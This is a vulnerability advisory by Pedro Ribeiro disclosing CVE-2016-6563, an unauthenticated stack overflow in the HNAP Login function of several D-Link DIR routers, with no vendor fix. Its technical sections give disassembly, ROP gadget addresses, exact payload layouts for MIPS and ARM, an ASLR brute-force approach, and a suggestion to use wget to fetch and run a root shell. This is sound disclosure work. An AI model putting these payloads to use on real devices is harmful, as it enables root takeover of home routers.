tl;dr A stack bof in several Dlink routers, which can be exploited by an unauthenticated attacker in the LAN. There is no patch as Dlink did not respond to CERT's requests. As usual, a Metasploit module is in the queue (see [9] below) and should hopefully be integrated soon. The interesting thing about this vulnerability is that it affects both ARM and MIPS devices, so exploitation is slightly different for each type. Link to CERT's advisory: https://www.kb.cert.org/vuls/id/677427 Link to a copy of the advisory pasted below: https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt Have fun. Regards, Pedro >> Multiple vulnerabilities in Dlink DIR routers HNAP Login function (multiple routers affected) >> Discovered by Pedro Ribeiro (pedrib@xxxxxxxxx), Agile Information Security ========================================================================== Disclosure: 07/11/2016 / Last updated: 07/11/2016 >> Background on the affected products: "Smartphones, laptops, tablets, phones, Smart TVs, game consoles and more – all being connected at the same time. That’s why we created the new AC3200 Ultra Wi-Fi Router. With Tri-Band Technology and speeds up to 3.2Gbps, it delivers the necessary ultra-performance to power even the most demanding connected homes, making it the best wireless home router for gaming." >> Summary: Dlink routers expose a protocol called HNAP (Home Network Administration Protocol) on the LAN interface. This is a SOAP protocol that allows identification, configuration, and management of network devices. It seems Dlink uses an implementation of this protocol to communicate with the router's web interface over the LAN. For more information regarding HNAP, see [1] and [2]. Dlink has a long history of vulnerabilities in HNAP. Craig Heffner in particular seems to have found a lot of them (see [3], [4], [5], [6], [7], [8]). This new vulnerability occurs in the processing of XML tags inside SOAP messages when performing the HNAP Login action. The affected function contains two subsequent stack overflows, which can be exploited by an unauthenticated attacker on the LAN. It affects a number of Dlink routers which span the ARM and MIPS architectures. A Metasploit module that exploits this vulnerability for both architectures has been released [9]. A special thanks to CERT/CC and Trent Novelly for help with disclosing this vulnerability to the vendor. Please refer to CERT's advisory for more details [10]. >> Technical details: Vulnerability: Stack buffer overflow CVE-2016-6563 Attack Vector: Remote Constraints: Can be exploited by an unauthenticated attacker. See below for other constraints. Affected versions: The following MIPS devices have been confirmed to be vulnerable: DIR-823 DIR-822 DIR-818L(W) The following ARM devices have been confirmed to be vulnerable: DIR-895L DIR-890L DIR-885L DIR-880L DIR-868L -> Rev. B and C only There might be other affected devices which are not listed above. ----------------------- Vulnerability details and MIPS exploitation ----------------------- The vulnerable function, parse_xml_value (my name, not a symbol), is called from hnap_main (a symbol in the binary) in /htdocs/cgibin. This function takes 3 arguments: the first is the request object / string, the second is the XML tag name to be parsed inside the request, and the third is a pointer to where the value of that tag should be returned. The function tries to find the tag name inside the request object and then extracts the tag value, copying it first to a local variable and then to the third argument. This function is called from hnap_main when performing the HNAP Login action to obtain the values of Action, Username, LoginPassword and Catpcha from the SOAP request shown above. parse_xml_value(char* request, char* XMLtag, char* tag_value) (...) .text:00412264 xml_tag_value_start = $s2 .text:00412264 xml_tag_value_end = $s1 .text:00412264 C30 addu xml_tag_value_start, $v0, $s0 # s2 now points to <Action>$value</Action> .text:00412268 C30 la $t9, strstr .text:0041226C C30 move $a1, xml_tag_value_end # needle .text:00412270 C30 jalr $t9 ; strstr .text:00412274 C30 move $a0, xml_tag_value_start # haystack .text:00412278 C30 lw $gp, 0xC30+var_C20($sp) .text:0041227C C30 beqz $v0, loc_4122BC .text:00412280 C30 subu xml_tag_value_end, $v0, xml_tag_value_start # s1 now holds the ptr to <Action>value$</Action> .text:00412284 C30 bltz xml_tag_value_end, loc_4122BC .text:00412288 C30 addiu $s0, $sp, 0xC30+xml_tag_var .text:0041228C C30 la $t9, strncpy .text:00412290 C30 move $a2, xml_tag_value_end # n .text:00412294 C30 move $a1, xml_tag_value_start # src .text:00412298 C30 addu xml_tag_value_end, $s0, xml_tag_value_end .text:0041229C C30 jalr $t9 ; strncpy # copies all chars in <Action>$value$</Action> to xml_tag_var using strncpy .text:004122A0 C30 move $a0, $s0 # dest .text:004122A4 C30 move $a0, a2_ptr # a2_ptr is a stack variable from hnap_main (passed as third argument to parse_xml_value) .text:004122A8 C30 lw $gp, 0xC30+var_C20($sp) .text:004122AC C30 move $a1, $s0 # src .text:004122B0 C30 la $t9, strcpy # copies xml_tag_var into a2_ptr using strcpy .text:004122B4 C30 jalr $t9 ; strcpy # the stack of the calling function (hnap_main) is thrashed if 2408+ bytes are sent .text:004122B8 C30 sb $zero, 0(xml_tag_value_end) (...) There are two overflows, therefore two choices for exploitation: 1) The local stack (on parse_xml_value) can be overrun with 3096+ bytes. This overflow occurs even though strncpy is used, because the argument to strncpy is simply the strlen of the value inside the XML tag. 2) Alternatively, it's possible to overrun the stack of the calling function (hnap_main), using only 2408+ bytes - this is because strcpy is used to copy the xml_tag_var onto the third argument received by parse_xml_value, which is a pointer to a stack variable in hnap_main. Exploiting 1) is easier, and the following example will explain how. All the affected MIPS devices use the same version of uClibc (libuClibc-0.9.30.3.so) and seem to load it at 0x2aabe000, which makes exploitation trivial for all firmware versions. It should be noted that the MIPS devices use the RTL8881a CPU, which is based on a Lextra RLX5281 core. The Lextra RLX cores are MIPS clones, but they're bit crippled as they are lacking a few load and store instructions. For this reason, some generic shellcodes that work on MIPS might not work on these CPUs (especially when obfuscated). The devices also do not have NX, ASLR nor any other modern memory protections, so the shellcode is executed directly on the stack. However, it's necessary to use ROP to prepare the stack for execution, which can be executed with gadgets taken from libuClibc-0.9.30.3.so. Due to the way MIPS CPUs work, it's necessary to flush the CPU cache before executing the exploit. This can be forced by calling sleep() from libc (refer to http://blog.emaze.net/2011/10/exploiting-mips-embedded-devices.html for an explanation on the MIPS CPU caches). So the ROP chain and shellcode will look like: first_gadget - execute sleep and call second_gadget .text:0004EA1C move $t9, $s0 <- sleep() .text:0004EA20 lw $ra, 0x20+var_4($sp) <- second_gadget .text:0004EA24 li $a0, 2 <- arg for sleep() .text:0004EA28 lw $s0, 0x20+var_8($sp) .text:0004EA2C li $a1, 1 .text:0004EA30 move $a2, $zero .text:0004EA34 jr $t9 .text:0004EA38 addiu $sp, 0x20 second_gadget - puts stack pointer in a1: .text:0002468C addiu $s1, $sp, 0x58 .text:00024690 li $s0, 0x44 .text:00024694 move $a2, $s0 .text:00024698 move $a1, $s1 .text:0002469C move $t9, $s4 .text:000246A0 jalr $t9 .text:000246A4 move $a0, $s2 third_gadget - call $a1 (which now has the stack pointer): .text:00041F3C move $t9, $a1 .text:00041F40 move $a1, $a2 .text:00041F44 addiu $a0, 8 .text:00041F48 jr $t9 .text:00041F4C nop When the crash occurs, the stack pointer is at xml_tag_value[3128]. In order to have a larger space for the shellcode (3000+ bytes), it's possible to jump back to xml_tag_value[0]. prep_shellcode_1 = 23bdf3c8 # addi sp,sp,-3128 prep_shellcode_2 = 03a0f809 # jalr sp branch_delay = 2084f830 # addi a0,a0,-2000 (NOP executed as a MIPS branch delay slot) The final Action / Username / LoginPassword / Catpcha XML parameter value will be: shellcode + 'a' * (3072 - shellcode.size) + sleep() + '1' * 4 + '2' * 4 + '3' * 4 + third_gadget + first_gadget + 'b' * 0x1c + second_gadget + 'c' * 0x58 + prep_shellcode_1 + prep_shellcode_2 + branch_delay 'a', 'b' and 'c' are just fillers to make up the buffer, while '1111', '2222' and '3333' will be the values of s1, s2 and s3 registers (which are not interesting for exploitation), and the rest is the ROP chain, shellcode and stack preparation routine. The only bad character that cannot be sent in the payload is the null byte as this is a str(n)cpy overflow. Up to 3350 characters can be sent, as after that it's hard to control the overflow in a reliable way. Note that all of this is to exploit the first buffer overflow with strncpy, but the second buffer overflow can be exploited in a similar way. As explained above, due to the use of a crippled MIPS core, generic shellcodes found on the Internet will likely fail. Some very simple ones work, but the best is to craft a reliable one. The simple Metasploit bind shell also seems to work pretty reliably if no encoder is used. ----------------------- ARM exploitation ----------------------- The same two stack overflows affect ARM, but require less bytes to overflow the stack. The following snippet is the same part of parse_xml_value as shown for MIPS (taken from firmware 2.03b01 for the DIR-868 Rev. B): .text:00018F34 C30 LDR R1, [R11,#src] ; src .text:00018F38 C30 LDR R2, [R11,#n] ; n .text:00018F3C C30 SUB R3, R11, #-xml_tag_var .text:00018F40 C30 SUB R3, R3, #4 .text:00018F44 C30 SUB R3, R3, #4 .text:00018F48 C30 MOV R0, R3 ; dest .text:00018F4C C30 BL strncpy ; first overflow occurs here (xml_tag_var in parse_xml_stack) with 1024+ characters .text:00018F50 C30 MOV R3, #0xFFFFFBEC .text:00018F58 C30 LDR R2, [R11,#n] .text:00018F5C C30 SUB R1, R11, #-var_4 .text:00018F60 C30 ADD R2, R1, R2 .text:00018F64 C30 ADD R3, R2, R3 .text:00018F68 C30 MOV R2, #0 .text:00018F6C C30 STRB R2, [R3] .text:00018F70 C30 SUB R3, R11, #-xml_tag_var .text:00018F74 C30 SUB R3, R3, #4 .text:00018F78 C30 SUB R3, R3, #4 .text:00018F7C C30 LDR R0, [R11,#a2_ptr] ; a2_ptr is is a stack variable from hnap_main .text:00018F80 C30 MOV R1, R3 ; src .text:00018F84 C30 BL strcpy ; second overflow occurs here The stack size will be smaller for both parse_xml_value and hnap_main when compared to the MIPS binary. This time again it's easier to exploit the easier strncpy overflow in parse_xml_value, but only 1024 bytes are enough to overflow the stack. As with the MIPS exploit, the only bad character is the null byte. The affected ARM devices have a non-executable stack (NX) and 32 bit ASLR. NX can be defeated with ROP, and the 32 bit ASLR is weak - there are only 3 bytes that change in the address calculations, which means there are only 4096 possible values. The attack has to be run several times until the correct base address is hit, but this can usually be achieved in less than 1000 attempts. The easiest attack to perform is a return-to-libc to execute a command with system(). To do this, R0 must point to the stack location where the command is before system() is called. All the affected ARM devices seem to use the same version of uClibc (libuClibc-0.9.32.1.so) for all firmware versions, which makes gadget hunting much easier and allows building an exploit that works on all the devices without any modification. first_gadget (pops system() address into r3, and second_gadget into PC): .text:00018298 LDMFD SP!, {R3,PC} second_gadget (puts the stack pointer into r0 and calls system() at r3): .text:00040CB8 MOV R0, SP .text:00040CBC BLX R3 system() (Executes argument in r0 (our stack pointer) .text:0005A270 system The final Action / Username / LoginPassword / Catpcha XML parameter value will be: 'a' * 1024 + 0xffffffff + 'b' * 16 + 'AAAA' + first_gadget + system() + second_gadget + command a / b = filler 0xffffffff = integer n (see below) AAAA = R11 first_gadget = initial PC payload = stack points here after execution of our ROP chain; it should point to whatever we want system() to execute When the overflow happens, the stack var "n" is overwritten, which is used to calculate a memory address (see 0x18F58). In order not to crash the process before the shellcode is executed, the variable needs to be set to a numeric value that can be used to calculate a valid memory address. A good value to choose is 0xffffffff, as this will just subtract 1 from the calculated memory address and prevent an invalid memory access. From this point onwards, it's possible to execute any command in "payload". For example, wget can be used to download a shell and execute it or a telnet server can be started. All commands will be executed as root. >> Fix: Dlink did not respond to my or CERT's request for information, so no firmware fix is available at the time of writing. Given that this vulnerability can only be exploited in the LAN, it is recommended to have a strong wireless password to prevent untrusted clients from connecting to the router. >> References: [1] https://isc.sans.edu//diary/More+on+HNAP+-+What+is+it,+How+to+Use+it,+How+to+Find+it/17648 [2] https://en.wikipedia.org/wiki/Home_Network_Administration_Protocol [3] http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/ [4] http://www.devttys0.com/2015/04/what-the-ridiculous-fuck-d-link/ [5] http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/ [6] https://packetstormsecurity.com/files/134370/D-Link-DIR-818W-Buffer-Overflow-Command-Injection.html [7] https://dl.packetstormsecurity.net/papers/attack/dlink_hnap_captcha.pdf [8] http://www.dlink.com/uk/en/support/support-news/2015/april/13/hnap-privilege-escalation-command-injection [9] https://github.com/rapid7/metasploit-framework/pull/7543 [10] https://www.kb.cert.org/vuls/id/677427 ================ Agile Information Security Limited http://www.agileinfosec.co.uk/ >> Enabling secure digital business >>
Attachment:
signature.asc
Description: OpenPGP digital signature
